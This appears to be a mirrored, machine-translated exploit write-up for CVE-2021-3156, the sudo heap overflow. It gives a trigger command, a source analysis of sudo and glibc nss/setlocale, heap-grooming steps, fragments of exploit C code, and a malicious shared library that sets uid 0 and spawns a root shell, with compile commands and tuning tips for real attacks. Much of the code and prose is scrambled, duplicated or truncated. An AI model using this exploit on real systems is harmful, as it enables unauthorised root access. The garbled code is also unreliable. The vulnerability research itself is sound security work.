Sploitus

Exploit for Off-by-one Error in Sudo Project Sudo

githubexploit Β· 2022-01-27

Exploit Code

README1031 lines
## https://sploitus.com/exploit?id=A64B2D10-93F9-5DEB-8FF5-EDD62BD2F346
# CVE-2021-3156

[toc]
## Vulnerability profile ##

Vulnerability ID: CVE-2021-3156

Vulnerability Score.

Vulnerability Product: linux sudo

Scope: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

Exploit Condition: linux local; sudo is suid and running

Exploit Effect: Local Privilege

Source: https://www.sudo.ws/getting/source/

## Environment setup
docker environment: [chenaotian/cve-2021-3156](https://hub.docker.com/r/chenaotian/cve-2021-3156)

I built the docker myself, provided:

1. a self-compiled, source-tunable sudo
2. glibc with debugging symbols
3. gdb and gdb plugins pwngdb & pwndbg
4. exp.c and its successfully compiled exp

Everything is in the /root directory:



- The exp directory is the directory where the exp code and compiled files are located and can be run directly in the docker.
- glibc-2.27 is the source directory for the libc version of the environment.
- sudo-1.8.21 is the source directory for sudo in this environment, which is what I used to compile.

Test exp:

``
cd exp
su test
. /exp
whoami
``

See [some debugging commands](#some debugging commands) later for debugging-related content.


## Vulnerability principles

Vulnerability trigger payload

```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`
``

Source code analysis (sudo-1.8.21):
First is the main function in sudo.c (sudo.c: 133):

``c
main(int argc, char
main(int argc, char *argv[], char *envp[])
{
int nargc, ok, status = 0;
char **nargv, **env_add.
char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings **nargv, **env_out
struct sudo_settings *settings; struct plugin_container *container; **command_info
struct plugin_container *plugin, *next; struct sudo_settings *settings; struct plugin_container *plugin, *next
sigset_t mask; struct
debug_decl_vars(main, SUDO_DEBUG_MAIN)

--- ---
--- ---

/* Parse command line arguments. */
// Process input arguments here, set sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

--- ---
--- ---

switch (sudo_mode & MODE_MASK) {
--- --- ---
--- --- ---
case MODE_EDIT.
case MODE_RUN.
ok = policy_check(&policy_plugin, nargc, nargv, env_add,
&command_info, &argv_out, &user_env_out);
--- ---
--- ---
}

--- ---
--- ---
}
```

- First, we call the parse_args function to process the arguments we've typed in. Here we've typed in a `-s` and there's not much to set, so we set the sudo_mode to MODE_EDIT and MODE_SHELL.

- Then, depending on the sudo_mode, MODE_EDIT calls back policy_check.

Next is the policy_check function in sudo.c (sudo.c: 1136).

``c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
char *env_add[], char **command_info[], char **argv_out[],
char **user_env_out[])
{
--- ---
--- ---
ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
argv_out, user_env_out);
---
}
``

The callback function ` plugin->u.policy->check_policy` is called and can be debugged to see the real function of this function:



The call is to the sudoers_policy_check function in policy.c (policy.c: 760):

``c
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
char **command_infop[], char **argv_out[], char **user_env_out[])
{
--- ---

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
--- ---
--- ---
}
``

The sudoers_policy_main function in sudoers.c (sudoers.c: 224) is then called:

```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
void *closure)
{
--- ---
--- ---

--- --- --- --- --- --- --- --- --- --- --- ---
* Make a local copy of argc/argv, with special handling
* for pseudo-commands and the '-i' option.
*/
if (argc == 0) {
--- ---
} else {
/* Must leave an extra slot before NewArgv for bash's --login */
NewArgc = argc.
NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
--- ---
}
memcpy(++NewArgv, argv, argc * sizeof(char *));
NewArgv[NewArgc] = NULL;
--- ---
}
}
--- ---
cmnd_status = set_cmnd();
--- ---
--- ---
--- ---
}
```

Some global variables are set here, NewArgc and NewArgv as follows, which are actually passed in parameters.



After that you go to the set_cmnd function in sudoers.c (sudoers.c: 796):

``c
static int
set_cmnd(void)
{
--- ---
--- ---

/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av; /* set user_args */ if (NewArgc > 1) {
char *to, *from, **av; size_t size, n; }

/* Alloc and build up user_args. */
// Calculate size from the total length of the arguments, and then malloc the application, no problem.
for (size = 0, av = NewArgv + 1; *av; av++)
for (size = 0, av = NewArgv + 1; *av; av++)
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/* * When running a command via a shell.
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces * for sudoers matching and for sudoers who are not in a meta char.
* for sudoers matching and logging purposes.
*/
// Copy all arguments together into a heap, the logic is to copy only non-space characters if it encounters '\' plus a non-space type character.
// But here \x00 is not considered a space character.
//He didn't take into account the fact that if the parameter has only one '\' or ends in '\' and the next two characters are followed by another string.
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*-to = '\0'; }
}
--- ---
}
}
--- ---
--- ---
}
```

Overflow also occurs here, according to the comments in the code it can be seen that heap overflow occurs when copying into the heap, the original intent of this code is not difficult to understand is to copy all the parameters in NewArgv into the heap, space split, and when it encounters a `\+non-space-like character` then only that character is copied.

**But it doesn't take into account the fact that if a NewArgv element ends in \\, then it's a \\+\x00\ structure, and \x00\ is not a space character (outrageous), which means it copies \x00\ into the heap, and then the from variable is ++ again (two times in a loop), directly past the end of the while judgment. The from variable then ++ (twice in a loop) directly passes the chance to mark `\x00` with the \x00` flag, and continues to copy backward until it encounters the next \x00`. **

In this scenario, you can see that `\+\x00` is immediately followed by the next parameter, `A*80`, so it will continue to copy until it reaches the end of `A*80`. But don't forget that the `A*80` parameter will continue to be processed, and copied again, so there are two copies of `A*80` in total, but the chunk is requested in the size of a single `A*80` string, which is much longer than the length of the chunk request.



This then causes an overflow, before copying:



After copying:



The overall vulnerability trigger path is (just place breakpoints directly based on these functions when debugging):.

- sudo.c : main
- sudo.c : policy_check
- policy.c : sudoerrs_policy_check
- sudoers.c : sudoers_policy_main
- sudoers.c : set_cmnd
- sudoers.c : 859

## Principles of Exploitation

Referenced [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156),** but his heap layout method is available, and the heap layout method is analyzed in detail here**. We pass in the environment variable `LC_*` to layout the heap, then let the overflow chunk cover exactly the structure service_user where the nss_load_library function needs to load the so, cover the so name string in the structure, and then let the program load the so we specified to complete arbitrary code execution.

Although the logic seems pretty clear, the details that need to be taken care of are still a bit tricky:

1. nss_load_library related data structures and mechanisms
2. how setlocale does heap layout via the environment variable `LC_*`

Next, we'll call the chunk that can be overflowed from a vulnerability a vuln chunk, and the target of the overflow a target chunk.

### nss principle

First look at the exploit key code:

glibc/nss/nsswitch.c: 377 nss_load_library()

``c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ? : &default_table, ni->name); ni->name = nss_new_service (service_table ?
ni->name);
if (ni->library == NULL)
ni->library = nss_new_service (service_table ?
}

if (ni->library->lib_handle == NULL)
{
--- ---
__stpcpy (__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name), __stpcpy (__stpcpy
".so"),
__nss_shlib_revision).

ni->library->lib_handle = __libc_dlopen (shlib_name);
--- ---
--- ---
}
}
```

ni is the service_user structure on the heap, and when `ni->library->lib_handle` is NULL, `__libc_dlopen` is called for so loading. If we can overflow to the heap block where ni is located, then we just need to override library to 0, because in the first branch if library is NULL, it means it is not initialized, and `nss_new_service` will be called to initialize library, and the handle that has just been initialized must be NULL.

OK, after knowing the key triggers of vulnerability exploitation, next to understand the mechanism of nss this thing.

First of all, there is a file /etc//nsswitch.conf in the /etc/ directory (usually looks like this, not all devices are the same):

``
# /etc/nsswitch.conf
# /etc/nsswitch.conf
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try.
# `info libc "Name Service Switch"' for information about this file.

passwd: compat systemd
group: compat systemd
shadow: compat
gshadow: files

hosts: files dns
networks: files

protocols: db files
services: db files
ethers: db files
rpc: db files

netgroup: nis
``

This is a configuration file that looks up methods by these routes recorded here and in what order (actually, which so's to use). It is also possible to specify what action the system will take when a method works or fails.

As I understand it, it specifies where the program needs to retrieve the information it needs from, such as user information, network, address information, etc. This is reflected in the program by calling the function from a different so. The implementation of that function in the different so is the method to retrieve that information.

Next, look at the three structures:

```c
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next; /* Action according to result.
/* Action according to result. */
lookup_actions actions[5]; /* Link to the underlying library object.
/* Link to the underlying library object. */ struct service_user *next; /* Action according to result. */
*/ struct service_user *next; /* Action according result.
/* Service_library *library; /* Collection of known functions. */
/* Service_library *library; /* Collection of known functions. */ void *known.
/* Name of the service (`files', `dns', `nis', ...). .  */
char name[0]; /* ** void *known; /* Name of the service (`files', `dns', `nis', ...) .
} service_user.

typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next; /* List of services to be used. */ /* List of services to be used.
/* List of service to be used. */ struct name_database_entry { /* And the link to the next entry.
service_user *service; /* Name of the database. */ /* Name of the database.
/* Name of the database. */ struct name_database_entry *next; /* List of service to be used.
char name[0]; } name_database_entry *next; /* List of service to be used.
} name_database_entry; /* List of service to be used. */ service_user *service; /* Name of the database.

typedef struct name_database
{
/* List of all known databases. */
name_database_entry *entry; typedef struct name_database { /* List of all known databases.
/* List of libraries with service implementation. */ service_library *library; /* List of libraries with service implementation.
service_library *library; /* List of libraries with service implementation.
} name_database.
```

There is a global entry ``static name_database *service_table;`` and then in the ``__nss_database_lookup`` function, if the global entry ``service_table`` is null, ``nss_parse_file`` is called to initialize it, as shown in the following code:

glibc/nss/nsswitch.c : 117

``c
int
__nss_database_lookup (const char *database, const char *alternate_name,
const char *defconfig, service_user **ni)
{
--- ---
/* Are we initialized yet? */
if (service_table == NULL)
/* Read config file. */
service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
--- ---
}
```

glibc/nss/nsswitch.c : 541

```c
static name_database *
nss_parse_file (const char *fname)
{
FILE *fp;
name_database *result; name_database_entry *last; name_database_entry
name_database_entry *last.
--- ---
// open /etc/nsswitch.conf
fp = fopen (fname, "rce");
--- ---
result = (name_database *) malloc (sizeof (name_database));
--- ---
do
{
name_database_entry *this;
ssize_t n.
n = __getline (&line, &len, fp);// getline Here a chunk of size 0x80 is requested.

--- ---

this = nss_getline (line);
if (this ! = NULL)
{
if (last ! = NULL)
last->next = this;
last->next = this; else
result->entry = this;

result->entry = this; last = this.
last->entry = this; last = this; }
}
while (!feof_unlocked (fp)); ;

/* Free the buffer.
free (line); // The 0x80 chunk requested by the getline function is freed before the function returns.
/* Close configuration file. */
fclose (fp); /* Free the buffer.

fclose (fp); return result; }
}
```

The principle is that the global entry `service_table` is found to be empty in the first search, then it is initialized according to the contents of the `/etc/nsswitch.conf` file, and the final data structure is shown below:



Here all the data structures are requested at once in the same function, in the order of my diagram, **so in the usual state, these chunks are all connected**. And they are all allocated before the vuln chunk. (Debug breakpoint `nss_parrse_file`)

In addition, it is worth noting that there is a `__getline` function in the `nss_parse_file` function, ** which requests a chunk based on the length of the reads, and this chunk is freed at the end when the `nss_parse_file` function returns**. Since the longest line in /etc/nsswitch.conf is basically a comment, and since we don't have control over this file, we can assume that the chunk requested by the `__getline` function is the same every time, and is fixed at 0x80.

So we can think of it as, **this is a very valuable chunk** that was requested before the service chain table, and will be released when the service chain table structure is requested, and will remain free until the vuln chunk is requested. Keep this little detail in mind for now**(I tested many environments and most of them can use this detail)**.

So when will the `nss_load_library` function be triggered, you can look at the call stack when debugging:



According to the call stack, when you need to call some functions to find host or user information, you will call some search functions to find the corresponding function in the corresponding so to call, a sentence is generated by /etc/nsswitch.conf service_table data structure. The code is as follows:

glibc/nss/XXX-lookup.c :

```c
int
DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name,
void **fctp)
{// Search for the corresponding service first
if (DATABASE_NAME_SYMBOL == NULL
&& __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING,
DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL)

Next, call `__nss_lookup` and then call `__nss_lookup_function` to search for the service where the corresponding function is located according to the servide linkage, and then call `nss_load_library` back to get the handle of the so, and then search for the corresponding function, the code is as follows:

glibc/nss/nsswitch.c : 194

``c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
void **fctp)
{
*fctp = __nss_lookup_function (*ni, fct_name);
--- ---
while (*fctp == NULL
&& nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
&& (*ni)->next ! = NULL)
{
*ni = (*ni)->next;

*fctp = __nss_lookup_function (*ni, fct_name);
--- ---
}

return *fctp ! = NULL ? 0 : (*ni)->next == NULL ? 1 : -1; }
}
libc_hidden_def (__nss_lookup)
```

glibc/nss/nsswitch.c : 410

```c
void *
__nss_lookup_function (service_user *ni, const char *fct_name)
{
--- ---

found = __tsearch (&fct_name, &ni->known, &known_compare);
--- --- // some operations not searched omitted

else
{
known_function *known = malloc (sizeof *known);
--- ---
else
{
// Call nss_load_library, check if ni->library->lib_handle is empty, re-dlopen if it is empty.
// See above for nss_load_library code.
--- ---
if (nss_load_library (ni) ! = nss_load_library (ni) !
/* This only happens when out of memory. */
goto remove_from_tree;

if (ni->library->lib_handle == (void *) -1l)
/* Library not found => function not found. */
result = NULL;
result = NULL; else
{
--- ---

/* Construct the function name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
ni->name),
"_"), __stpcpy (__stpcpy
fct_name);

/* Look up the symbol. */
result = __libc_dlsym (ni->library->lib_handle, name);
}

--- ---
--- ---

}
---
return result; --- --- --- --- --- --- --- --- --- --- ---
}
libc_hidden_def (__nss_lookup_function)
``

As you can see, whenever a function in libnss_xxx.so is called, ``nss_load_library`` will be called, even if the so has already been loaded. So, according to the known-exp idea, **all we need to do is to know which so the first libnss-related function called after a heap overflow belongs to, and then layout the `service_user` structure that belongs to that so behind the vuln chunk via heap layout. However, according to my tests in several environments, I found that the structure of the code is not quite the same even for the same version, compiled by myself and the distribution **, so I'm here to reanalyze and write a copy of the exp using my own debugging environment.

### Back to the debugging environment

I built this debugging environment (docker) is my own compilation of sudo, with debugging symbols, the specific information is as follows:

``
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21
```

The contents of /etc/nsswitch.conf are as follows:



It's still very different from the normal one, so running someone else's exp directly definitely won't work. Besides, after debugging, **in my environment, after the heap overflow, the first nss function called is setspent, which belongs to the function in shadow**, that is, `service_user` of `database_entry3`, i.e., the target chunk is chunk number 7, and we want the vuln chunk appears before chunk 7, and the other numbered chunks are not between them (i.e., the overflow does not destroy the other chunks of the `service_table` structure).



Next, it is inevitable that we have to look at how to manipulate the heap layout in a single operation, which is known to be done in the `setlocale` function using the environment variable `LC_ALL`, and after analyzing it, there are a very large number of heap requests and releases in `setlocale`, so we will focus on the parts that are available for us to manipulate here.

### Heap layout using setlocale

Inadvertently in the company blog found a colleague's analysis of the blog, help a lot, outside the access to it will not be posted.

The key to `setlocale`'s heap mechanism is just one sentence: enter the environment variables for the length of the chunks you want to release in the order of the chunks you want to release, which guarantees the order of release and the relationship between the chunks, but the chunks are not closely related.

Let's start with the `setlocale` source code:

glibc/locale/setlocale.c : 218

``c
char *
setlocale (int category, const char *locale)
{
char *locale_path; size_t locale_path_len; char *locale_path
size_t locale_path_len; const char *locpath_var; char *locale_path_var
const char *locpath_var;
const char *locpath_var; char *composite.

--- ---

locale_path = NULL;
locale_path_len = 0;

--- ---

if (category == LC_ALL)
{
--- ---
--- --- ---
/* Load the new data for each category. */
while (category-- > 0)
if (category ! = LC_ALL)
{// Key handler _nl_find_locale
newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, _nl_find_locale, locale_path_len, locale_path_len, locale_path_len)
category, &newnames[category] = _nl_find_locale
&newnames[category]);

if (newdata[category] == NULL)
{// Returns null and the loop is broken.
---
break;
}

--- ---

/* Make a copy of locale name. */
if (newnames[category] ! = _nl_C_name)
{
if (strcmp (newnames[category], _nl_global_locale.
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
// This strdup is critical
newnames[category] = __strdup (newnames[category]); if (newnames[category])
if (newnames[category] == NULL)
break; }
}
}
}

/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite ! = NULL)
{
--- ---
}
else
for (++category; category data == NULL)
{
int cnt; for (cnt = 0; locale_file->successor[cnt] !
for (cnt = 0; locale_file->successor[cnt] ! = NULL; ++cnt)
{// Find the successor structure from the returned chain and return it.
if (locale_file->successor[cnt]->decided == 0)
_nl_load_locale (locale_file->successor[cnt], category);
if (locale_file->successor[cnt]->data ! = NULL)
break;
}
/* Move the entry we found (or NULL) to the first place of
successors.
locale_file->successor[0] = locale_file->successor[cnt]; /* Move the entry we found (or NULL) to the first place of successors.
locale_file = locale_file->successor[cnt];

if (locale_file == NULL)
return NULL;
}

--- ---
--- ---

return (struct __locale_data *) locale_file->data;
}
``

In the `_nl_find_locale` function, it will first call the `_nl_explode_name` function to assign a value to the mask according to the value of the environment variable (as I said in the comment in the code), mainly to see if there is a country, language, user-defined suffix, if there is, then it will set up the corresponding maks, of which the language will be set to two. There are four in total. Then call `_nl_make_l0nflist` function will directly cause `_nl_find_locale` to return null, triggering the loop break in `setlocale` above (very important).

Next, take a look at the `_nl_make_l0nflist` function:

glibc/intl/l0nflist.c : 150

`_nl_make_l0nflist` function.
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
struct loaded_l10nfile **l10nfile_list, const char *dirlist, size_t dirlist_len, int mask, const char *language
int mask, const char *language, const char *territory, const char *codeset, const char *codeset, const char *codeset
const char *codeset, const char *normalized_codeset, const char *modifier, int
const char *modifier, int mask
const char *filename, int do_allocate)
{
char *abs_filename.
struct loaded_l10nfile *last = NULL;
struct loaded_l10nfile *retval; char *cp; struct loaded_l10nfile *cp
struct loaded_l10nfile *last = NULL; struct loaded_l10nfile *retval; char *cp
size_t entries; struct loaded_l10nfile *last = NULL; struct loaded_l10nfile *retval; char *cp; size_t entries
int cnt.

/* Allocate room for the full file name. */
// Depending on the value of mask, different file paths will be formed, the length will be different naturally, and chunks will be requested according to the length.
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) ! = 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) ! = 0
? strlen (codeset) + 1 : 0) + ((mask & XPG_CODESET) ! = 0 ?
+ ((mask & XPG_NORM_CODESET) ! = 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) ! = 0
? strlen (modifier) + 1 : 0) + 1 + strlen (filename) + 1); (mask & XPG_MODIFIER) !
+ 1 + strlen (filename) + 1).

if (abs_filename == NULL)
if (abs_filename == NULL); return NULL.

retval = NULL; last = NULL; if (abs_filename == NULL) return NULL
return NULL; retval = NULL; last = NULL.

/* Construct file name. */
// Splice the filename based on the filename, which is what mask decides to do
memcpy (abs_filename, dirlist, dirlist_len); /* Construct file name. */ /* Construct file name.
__argz_stringify (abs_filename, dirlist_len, ':');
cp = abs_filename + (dirlist_len - 1);
*cp++ = '/';
cp = stpcpy (cp, language);

if ((mask & XPG_TERRITORY) ! = 0)
{
*cp++ = '_'; cp = stpcpy (cp, territory); if ((mask & XPG_TERRITORY) !
cp = stpcpy (cp, territory);
}
if ((mask & XPG_CODESET) ! = 0)
{
*cp++ = '.' ;
cp = stpcpy (cp, codeset) ;
}
if ((mask & XPG_NORM_CODESET) ! = 0)
{
*cp++ = '.' ;
cp = stpcpy (cp, normalized_codeset);
}
if ((mask & XPG_MODIFIER) ! = 0)
{
*cp++ = '@';
cp = stpcpy (cp, modifier);
}

*cp++ = '/';
stpcpy (cp, filename);

--- ---
// If a file with the same name already exists, release the chunk just requested
if (retval ! = NULL || do_allocate == 0)
{
free (abs_filename);
return retval; }
}

retval = (struct loaded_l10nfile *)
malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len))
* (1 filename = abs_filename; /* If more than one directory has been loaded, then the file must be loaded.
/* If more than one directory is in the list this is a pseudo-entry
We do not try to load data for it, ever. */ If more than one directory is in the list this is a pseudo-entry which just references others.
We do not try to load data for it, ever.
retval->decided = (__argz_count (dirlist, dirlist_len) ! = 1
|| ((mask & XPG_CODESET) ! = 0 || (mask & XPG_CODESET) !
&& (mask & XPG_NORM_CODESET) ! = 0));
retval->data = NULL;

if (last == NULL)
{
retval->next = *l10nfile_list;
*l10nfile_list = retval;
}
else
} else {
retval->next = last->next; last->next = retval; *l10nfile_list = retval; } else {
last->next = retval; } else { retval->next = last->next; last->next = retval
}

entries = 0; /* If the DIRLIST is a real list the RETVAL entry corresponds not to
/* If the DIRLIST is a real list the RETVAL entry corresponds not to a real file.
So we have to use the DIRLIST separation mechanism
So we have to use the DIRLIST separation mechanism of the inner loop.
//There will be a recursive search to find all combinations based on the mask.
// Each time the mask value will be -1, so that iterating through all the masks is possible.
cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
for (; cnt >= 0; --cnt)
if ((cnt & ~mask) == 0)
{
/* Iterate over all elements of the DIRLIST. */
char *dir = NULL;

while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
! = NULL)
retval->successor[entries++]
= _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
language, territory, codeset, normalized_codeset, mod
normalized_codeset, modifier, filename, 1);
}
retval->successor[entries] = NULL;

return retval; }
}
``

The two key incoming parameters are `do_allocate` and `mask`. `do_allocate` indicates whether or not new memory will be actively allocated; if it's 0, it searches through the existing chain table, which is usually empty, and returns it. If `do_allocate` is not 0, then it will expand the table.

In a call to the `_nl_make_l10nflist` function, 1-2 chunks will be requested, the size is not fixed, the first chunk will be requested based on the length of the filename combined by `mask`, and if the filename is not duplicated, the second chunk will be requested, it is a variable-length structure to manage filenames, which is not very useful, and is out of our control. It's not very useful, and is out of our control.

There are four bits in `mask`, which determine the filename of the operation, and the four bits represent the presence of the contents of the center bracket:

```
dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename
```

where dir(/usr/lib/locale), language(C), and filename (environment variable name) are fixed, and the contents of the bell brackets are optionally generated based on the mask value. For example:

```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAA
```

Then:

```
[_territory]=NULL #We didn't pass in the _-beginning string
[.codeset]=.UTF-8 # Language encoding we passed in is .UTF-8
[.normalized_codeset]=.utf8 # auto-generated based on the uppercase language encoding we passed in
[@modifier]=@AAAAAAAAAAAAA # Our customized suffixes
```

Depending on the mask may be generated:

```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION
```

Since our input does not contain country information, i.e., the `[_territory]` field is null, there is no such field regardless of whether the mask is 1 or not, which causes different masks to end up with the same filename, which explains why the above operation releases and returns the same filename when it encounters it.

All the principles of heap allocation analysis here is almost the same, according to the actual situation can be specific understanding and layout. In my debugging environment, the key only need to know, ** according to the value of the input environment variable strdup operation, and finally will strdup generated multiple chunks of free out in one breath. This operation is the key. **If you're in a more difficult environment, you may need to control the size and number of chunks released based on the mask.

## Exploit

Back to my debugging environment:



**I want to put the vuln chunk before the target chunk, which is chunk #7, without destroying any of the 123456 chunks**

Then the idea of heap layout is:

1. 1246 chunks are 0x20 chunks, 0x20 chunks in the program run a lot of application operations, will quickly consume 0x20 tcache, that is to say, by the time the `nss_ parse_file` function is running, basically there is no 0x20 tcache, and then apply for the top chunk or small/small chunks, and then apply for the top chunk or small/small chunks, and then apply for the top chunk or small/small chunks. topchunk or small/large/unsorted bin. So don't worry about it.

2. we end up focusing on how to insert a special 0xX0 chunk between chunk 3, chunk 5, and chunk 7 (which won't be consumed before the vuln chunk is requested). This is roughly as shown in the figure:



3. **Since the chunks involved in the whole heap layout process are all memory requested by the setlocale, and these things in the setlocale are basically useless, and even if they are overwritten, they won't cause a crash, so even if we don't have a tight connection between the vuln chunk and the target chunk, there is no harm in that **.

4. So in the end, the idea is to request two 0x40 chunks in the setlocale, then one 0xa0 chunk (the 0xX0 chunk mentioned above), and then one 0x40 chunk, which will be released in the reverse order, and then the `nss_parse_file` function will In the `nss_parse_file` function, `getline` will request a 0x80 chunk to "protect" the 0xa0 chunk we set aside.

The next step is to calculate the distance between the removed chunk and the overflow chunk:



0x5576b5ac7000-0x5576b5ac69b0=0x650

You can split the total 0xa0 input parameters into two parts x `\\` (each is a separate string, accounting for two bytes) and a `'a' * y` (y characters a is a string, accounting for y + 1 bytes), 2x + y = 0xa0-0x10 (here 0xa0-0x10 is because our vuln chunk is the size of 0xa0, but the actual application needs to be small 0x10), the final command is shaped like :

```
sudoedit -s \\\\ \\\\ \\\\ ... (x number)... \\ \ \ \ \ "aaaa... (y number)... .aaa"
\ \ \

Calculate x, y make:

```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ... +(y+1) just
#include
#include
#include

#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12

char * envName[13]={"LC_CTYPE", "LC_NUMERIC", "LC_TIME", "LC_COLLATE", "LC_MONETARY", "LC_MESSAGES", "LC_ALL", "LC_PAPER", "LC_NAME", "LC_ ADDRESS", "LC_TELE
PHONE", "LC_MEASUREMENT", "LC_IDENTIFICATION" }

int now=13;
int envnow=0;
int argvnow=0;
char * envp[0x300]; char * argv[0x300].
char * argv[0x300]; char * addChunk(int size); char * argv[0x300].
char * addChunk(int size)
{
now --;
char * result; if(now == 6)
if(now == 6)
now --; char * result; if(now == 6) {
if(now == 6) { now --;; char * result; if(now == 6)
}
if(now>=0)
{
result=malloc(size+0x20);
strcpy(result,envName[now]);
strcat(result,"=C.UTF-8@");
for(int i=9;i=0)
{
result=malloc(0x100);
strcpy(result,envName[now]).
strcat(result,"=xxxxxxxxxxxxxxxxxxxxxxxxxxx");
envp[envnow++]=result;
}
}

int setargv(int size,int offset)
{
size-=0x10; signed
signed int x,y.


signed int c=2*size-2-offset*2;
signed int tmp=b*b-4*a*c; if(tmp0 && B
if(tmp0 && B0))
x=(A>0) ? A: B; if(A>0 && B0))
if(A>0 && B > 0))
x=(A
#include
#include
#include

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
#endif
}
``.

Compile command:

``sh
mkdir libnss_X
gcc -fPIC -shared lib.c -o . /libnss_X/test.so.2
gcc exp.c -o exp
``

Success:



### Modifying exp for a specific environment

The main purpose is to facilitate their own research and debugging, rather than the actual attack. The actual attack is still recommended to blast, you need to know the following points according to the environment:

1. the controllable size of the vuln, that is, the free tcache left in the setlocale, will not be consumed until the vuln application, you need to find a suitable size (corresponding to 0xa0 in my exp)
2. where to lay out the vuln, i.e. how many 0x40 chunks before the vuln chunk and how many 0x40 chunks after the vuln chunk (corresponding to the addChunk functions in my exp main function). 3. target chunk to the vuln tcache.
3. the distance from target chunk to vuln chunk, i.e. target chunk addr - vuln chunk addr (corresponds to 0x650 in my exp).

Modify the above three points, and basically the odds are that it will work straight away.

## Factors affecting vulnerability exploitation

There are many factors affecting the heap layout. For the same version of sudo, different compilation options cause the heap layout to change (as long as the functions involved in heap allocation are increased or decreased before the overflow, the probability is very high that the heap layout will be changed).

The heap layout of sudo is different for both the distribution and your own compiled version

Differences in the global sudo configuration file also affect the

passwd and other generic files can also affect

Different nsswitch.conf files will affect

glibc version

Other global environments (or environment files)

## Mitigation

Upgrade the latest version.

## Some debugging commands

``
watch rwatch awatch Memory breakpoints
catch exec
set follow-exec-mode new Catch child processes when debugging exp.
```

Viewing the service_table structure

```
p service_table
p * service_table
p * service_table -> entry
p * service_table -> entry -> next
p * service_table -> entry -> next -> service
---
``

Look at the earliest nss function called after the heap block overflow and break the overflow first:

```
b policy_check #Break the overflow closer to the overflow point first, break the overflow point directly and not find it
c
b sudoers.c:849 #before malloc
b sudoers.c:859 #Overflow chunk just requested.
b sudoers.c:867 #overflow complete
c #Break nss_load_library after breaking it
b nss_load_library
c #Break nss_load_library
bt #View call stack
``

Some key functions as well as code out

``
directory /root/glibc-2.27/nss/
directory /root/glibc-2.27/nss/
directory /root/glibc-2.27/elf/
directory /root/glibc-2.27/locale/

b setlocale
b nss_parse_file
b nss_load_library
``

## Reference

In-house Big Brother blog

52 Cracked Blog: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156